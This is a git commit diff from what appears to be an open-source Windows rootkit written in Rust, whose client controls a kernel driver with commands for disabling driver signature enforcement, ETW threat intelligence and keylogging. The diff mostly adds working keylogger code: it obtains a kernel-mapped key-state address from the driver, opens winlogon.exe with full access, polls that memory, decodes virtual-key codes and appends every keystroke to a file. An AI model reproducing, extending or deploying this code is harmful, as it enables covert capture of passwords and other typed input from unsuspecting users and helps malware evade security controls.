feature(driver): remove loop/thread for key state reading, added VAD root offset retrieval

- Removed the loop and thread for reading key states; now the client handles this, as the driver maps the address to user mode.
- Added a function to retrieve the VAD root offset.
- Refactored various parts of the code for clarity and performance.
This commit is contained in:
joaoviictorti
2024-09-27 21:02:48 -03:00
parent 4e8e38d95c
commit f71555748c
25 changed files with 694 additions and 516 deletions

View File

@@ -288,13 +288,9 @@ pub enum MisCommands {
/// Operations related to Keylogger.
Keylogger {
/// Stop the keylogger.
#[arg(long)]
stop: bool,
/// Start the keylogger.
#[arg(long)]
start: bool,
/// File path for storing keylogger output
#[arg(long, required = true)]
file: String,
},
/// Operations related to ETWTI.

View File

@@ -1,9 +1,9 @@
use {
cli::*,
log::*,
clap::Parser,
log::*,
shared::ioctls::*,
utils::init_logger,
clap::Parser,
};
use modules::{
misc::Misc,
@@ -21,6 +21,7 @@ use modules::registry::Registry;
mod cli;
mod modules;
#[macro_use]
mod utils;
fn main() {
@@ -117,12 +118,8 @@ fn main() {
misc.dse(IOCTL_ENABLE_DSE, false);
}
}
MisCommands::Keylogger { stop, start } => {
if *start {
misc.keylogger(IOCTL_KEYLOGGER, true);
} else if *stop {
misc.keylogger(IOCTL_KEYLOGGER, false);
}
MisCommands::Keylogger { file } => {
misc.keylogger(IOCTL_KEYLOGGER, file);
}
MisCommands::Etwti { disable, enable } => {
if *enable {

View File

@@ -1,14 +1,33 @@
use {
log::*,
crate::utils::open_driver,
shared::structs::{Keylogger, DSE, ETWTI},
std::{ffi::c_void, mem::size_of, ptr::null_mut},
crate::utils::{
vk_to_char, update_key_state, key_pressed,
get_process_by_name, open_driver,
},
shared::structs::{DSE, ETWTI},
std::{
ffi::c_void, fs::OpenOptions, io::{BufWriter, Write},
mem::size_of, ptr::null_mut, time::Duration
},
windows_sys::Win32::{
System::IO::DeviceIoControl,
Foundation::{CloseHandle, GetLastError, HANDLE},
},
System::{
IO::DeviceIoControl,
Diagnostics::Debug::ReadProcessMemory,
Threading::{OpenProcess, PROCESS_ALL_ACCESS},
},
Foundation::{
INVALID_HANDLE_VALUE, CloseHandle,
GetLastError, HANDLE,
},
}
};
/// Key states.
pub static mut KEY_STATE: [u8; 64] = [0; 64];
pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
pub static mut KEY_RECENT: [u8; 64] = [0; 64];
pub struct Misc {
driver_handle: HANDLE,
}
@@ -45,29 +64,61 @@ impl Misc {
}
}
pub fn keylogger(self, ioctl_code: u32, state: bool) {
debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" });
let mut keylogger = Keylogger { enable: state };
debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
pub fn keylogger(self, ioctl_code: u32, file: &String) {
unsafe {
let mut address: usize = 0;
let mut return_buffer = 0;
let status = DeviceIoControl(
self.driver_handle,
ioctl_code,
&mut keylogger as *mut _ as *mut c_void,
std::mem::size_of::<Keylogger>() as u32,
null_mut(),
0,
&mut address as *mut _ as *mut c_void,
size_of::<usize>() as u32,
&mut return_buffer,
null_mut(),
)
};
);
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Keylogger {}", if state { "start" } else { "stop" })
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
return;
}
let pid = get_process_by_name("winlogon.exe").expect("Error retrieving pid from winlogon.exe");
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE {
eprintln!("OpenProcess Failed With Error: {}", GetLastError());
return;
}
let file = OpenOptions::new()
.append(true)
.create(true)
.open(file)
.expect("Failed to open or create keylog file");
let mut writer = BufWriter::new(file);
let mut bytes_read = 0;
loop {
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
if ReadProcessMemory(h_process, address as *const c_void, KEY_STATE.as_mut_ptr() as _, size_of::<[u8; 64]>() as usize, &mut bytes_read) != 0 {
update_key_state();
for i in 0..256 {
if key_pressed(i as u8) {
let key = vk_to_char(i as u8);
debug!("{key}");
writeln!(writer, "{}", key).expect("Failed to write to file");
writer.flush().expect("Failed to flush file buffer");
}
}
} else {
eprintln!("Failed to read process memory");
}
std::thread::sleep(Duration::from_millis(50));
}
}
}

View File

@@ -7,4 +7,4 @@ pub mod misc;
pub mod module;
pub mod process;
pub mod thread;
pub mod port;
pub mod port;

View File

@@ -0,0 +1,49 @@
use super::VK_CHARS;
use crate::{
is_key_down, set_key_down,
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE}
};
/// Updates the status of the keys.
pub unsafe fn update_key_state() {
for i in 0..256 {
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
set_key_down!(KEY_RECENT, i, true);
}
}
}
/// Checks if a key has been pressed.
///
/// # Parameters
///
/// - `key`: The key code.
///
/// # Returns
///
/// - `bool`: if the key was pressed, otherwise `false`.
///
pub unsafe fn key_pressed(key: u8) -> bool {
let result = is_key_down!(KEY_RECENT, key);
set_key_down!(KEY_RECENT, key, false);
result
}
/// Converts a virtual key code to a character.
///
/// # Parameters
///
/// - `key`: The code for the virtual key.
///
/// # Returns
///
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
///
pub fn vk_to_char(key: u8) -> &'static str {
for &(vk, char) in &VK_CHARS {
if vk == key {
return char;
}
}
"UNKNOWN"
}

View File

@@ -0,0 +1,33 @@
// Reference: https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
#[macro_export]
macro_rules! get_ks_byte {
($vk:expr) => {
($vk as usize * 2 / 8)
};
}
#[macro_export]
macro_rules! get_ks_down_bit {
($vk:expr) => {
1 << (($vk % 4) * 2)
};
}
#[macro_export]
macro_rules! is_key_down {
($ks:expr, $vk:expr) => {
($ks[$crate::get_ks_byte!($vk)] & $crate::get_ks_down_bit!($vk)) != 0
};
}
#[macro_export]
macro_rules! set_key_down {
($ks:expr, $vk:expr, $down:expr) => {
if $down {
$ks[$crate::get_ks_byte!($vk)] |= $crate::get_ks_down_bit!($vk);
} else {
$ks[$crate::get_ks_byte!($vk)] &= !$crate::get_ks_down_bit!($vk);
}
};
}

View File

@@ -2,6 +2,7 @@ use {
log::*,
colored::Colorize,
env_logger::Builder,
sysinfo::System,
std::{path::Path, ptr::null_mut, io::Write},
windows_sys::{
w,
@@ -18,6 +19,10 @@ use {
},
};
pub mod macros;
pub mod keylogger;
pub use keylogger::*;
pub const BANNER: &str = r#"
_____ __ __
/ ___// /_ ____ _____/ /___ _ __
@@ -122,6 +127,29 @@ pub fn validate_sys_extension(val: &str) -> Result<String, String> {
}
}
/// Searches for the process ID (PID) of a running process by name.
///
/// # Parameters
///
/// - `name`: A reference to a string containing the name of the process to be searched.
///
/// # Return
///
/// -`Option<u32>`: Returns the PID of the process found, or `None` if no process with the specified name is found.
///
pub fn get_process_by_name(name: &str) -> Option<u32> {
let mut system = System::new_all();
system.refresh_all();
for (pid, process) in system.processes() {
if process.name() == name {
return Some(pid.as_u32());
}
}
None
}
/// Enum representing different callbacks in the system.
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
pub enum Callbacks {
@@ -231,3 +259,160 @@ impl PortType {
}
}
}
/// Mapping virtual key codes to characters.
pub const VK_CHARS: [(u8, &'static str); 153] = [
(0x01, "LEFT MOUSE BUTTON"),
(0x02, "RIGTH MOUSE BUTTON"),
(0x03, "CANCEL"),
(0x04, "MIDDLE MOUSE BUTTON"),
(0x05, "X1 MOUSE BUTTON"),
(0x06, "X2 MOUSE BUTTON"),
(0x08, "BACKSPACE"),
(0x09, "TAB"),
(0x0C, "CLEAR"),
(0x0D, "ENTER"),
(0x10, "SHIFT"),
(0x11, "CONTROL"),
(0x12, "ALT"),
(0x13, "PAUSE"),
(0x14, "CAPS LOCK"),
(0x1B, "ESCAPE"),
(0x20, "SPACEBAR"),
(0x21, "PAGE UP"),
(0x22, "PAGE DOWN"),
(0x23, "END"),
(0x24, "HOME"),
(0x25, "LEFT ARROW"),
(0x26, "UP ARROW"),
(0x27, "RIGHT ARROW"),
(0x28, "DOWN ARROW"),
(0x29, "SELECT"),
(0x2A, "PRINT"),
(0x2B, "EXECUTE"),
(0x2C, "PRINT SCREEN"),
(0x2D, "INSERT"),
(0x2E, "DELETE"),
(0x2F, "HELP"),
(0x5B, "LEFT WINDOWS"),
(0x5C, "RIGHT WINDOWS"),
(0x5D, "APPLICATIONS"),
(0x5F, "SLEEP"),
(0x60, "NUMPAD 0"),
(0x61, "NUMPAD 1"),
(0x62, "NUMPAD 2"),
(0x63, "NUMPAD 3"),
(0x64, "NUMPAD 4"),
(0x65, "NUMPAD 5"),
(0x66, "NUMPAD 6"),
(0x67, "NUMPAD 7"),
(0x68, "NUMPAD 8"),
(0x69, "NUMPAD 9"),
(0x6A, "NUMPAD *"),
(0x6B, "NUMPAD +"),
(0x6C, "SEPARATOR"),
(0x6D, "NUMPAD -"),
(0x6E, "NUMPAD ."),
(0x6F, "NUMPAD /"),
(0x70, "F1"),
(0x71, "F2"),
(0x72, "F3"),
(0x73, "F4"),
(0x74, "F5"),
(0x75, "F6"),
(0x76, "F7"),
(0x77, "F8"),
(0x78, "F9"),
(0x79, "F10"),
(0x7A, "F11"),
(0x7B, "F12"),
(0x7C, "F13"),
(0x7D, "F14"),
(0x7E, "F15"),
(0x7F, "F16"),
(0x80, "F17"),
(0x81, "F18"),
(0x82, "F19"),
(0x83, "F20"),
(0x84, "F21"),
(0x85, "F22"),
(0x86, "F23"),
(0x87, "F24"),
(0x90, "NUM LOCK"),
(0x91, "SCROLL LOCK"),
(0xA6, "BROWSER BACK"),
(0xA7, "BROWSER FORWARD"),
(0xA8, "BROWSER REFRESH"),
(0xA9, "BROWSER STOP"),
(0xAA, "BROWSER SEARCH"),
(0xAB, "BROWSER FAVORITES"),
(0xAC, "BROWSER HOME"),
(0xAD, "VOLUME MUTE"),
(0xAE, "VOLUME DOWN"),
(0xAF, "VOLUME UP"),
(0xB0, "MEDIA NEXT TRACK"),
(0xB1, "MEDIA PREVIOUS TRACK"),
(0xB2, "MEDIA STOP"),
(0xB3, "MEDIA PLAY/PAUSE"),
(0xB4, "LAUNCH MAIL"),
(0xB5, "MEDIA SELECT"),
(0xB6, "LAUNCH APPLICATION 1"),
(0xB7, "LAUNCH APPLICATION 2"),
(0xBA, "OEM 1"),
(0xBB, "OEM +"),
(0xBC, "OEM ,"),
(0xBD, "OEM -"),
(0xBE, "OEM ."),
(0xBF, "OEM 2"),
(0xC0, "OEM 3"),
(0xDB, "OEM 4"),
(0xDC, "OEM 5"),
(0xDD, "OEM 6"),
(0xDE, "OEM 7"),
(0xDF, "OEM 8"),
(0xE2, "OEM 102"),
(0xE5, "IME PROCESS"),
(0xE7, "PACKET"),
(0xF6, "ATTN"),
(0xF7, "CRSEL"),
(0xF8, "EXSEL"),
(0xF9, "EREOF"),
(0xFA, "PLAY"),
(0xFB, "ZOOM"),
(0x30, "0"),
(0x31, "1"),
(0x32, "2"),
(0x33, "3"),
(0x34, "4"),
(0x35, "5"),
(0x36, "6"),
(0x37, "7"),
(0x38, "8"),
(0x39, "9"),
(0x41, "A"),
(0x42, "B"),
(0x43, "C"),
(0x44, "D"),
(0x45, "E"),
(0x46, "F"),
(0x47, "G"),
(0x48, "H"),
(0x49, "I"),
(0x4A, "J"),
(0x4B, "K"),
(0x4C, "L"),
(0x4D, "M"),
(0x4E, "N"),
(0x4F, "O"),
(0x50, "P"),
(0x51, "Q"),
(0x52, "R"),
(0x53, "S"),
(0x54, "T"),
(0x55, "U"),
(0x56, "V"),
(0x57, "W"),
(0x58, "X"),
(0x59, "Y"),
(0x5A, "Z"),
];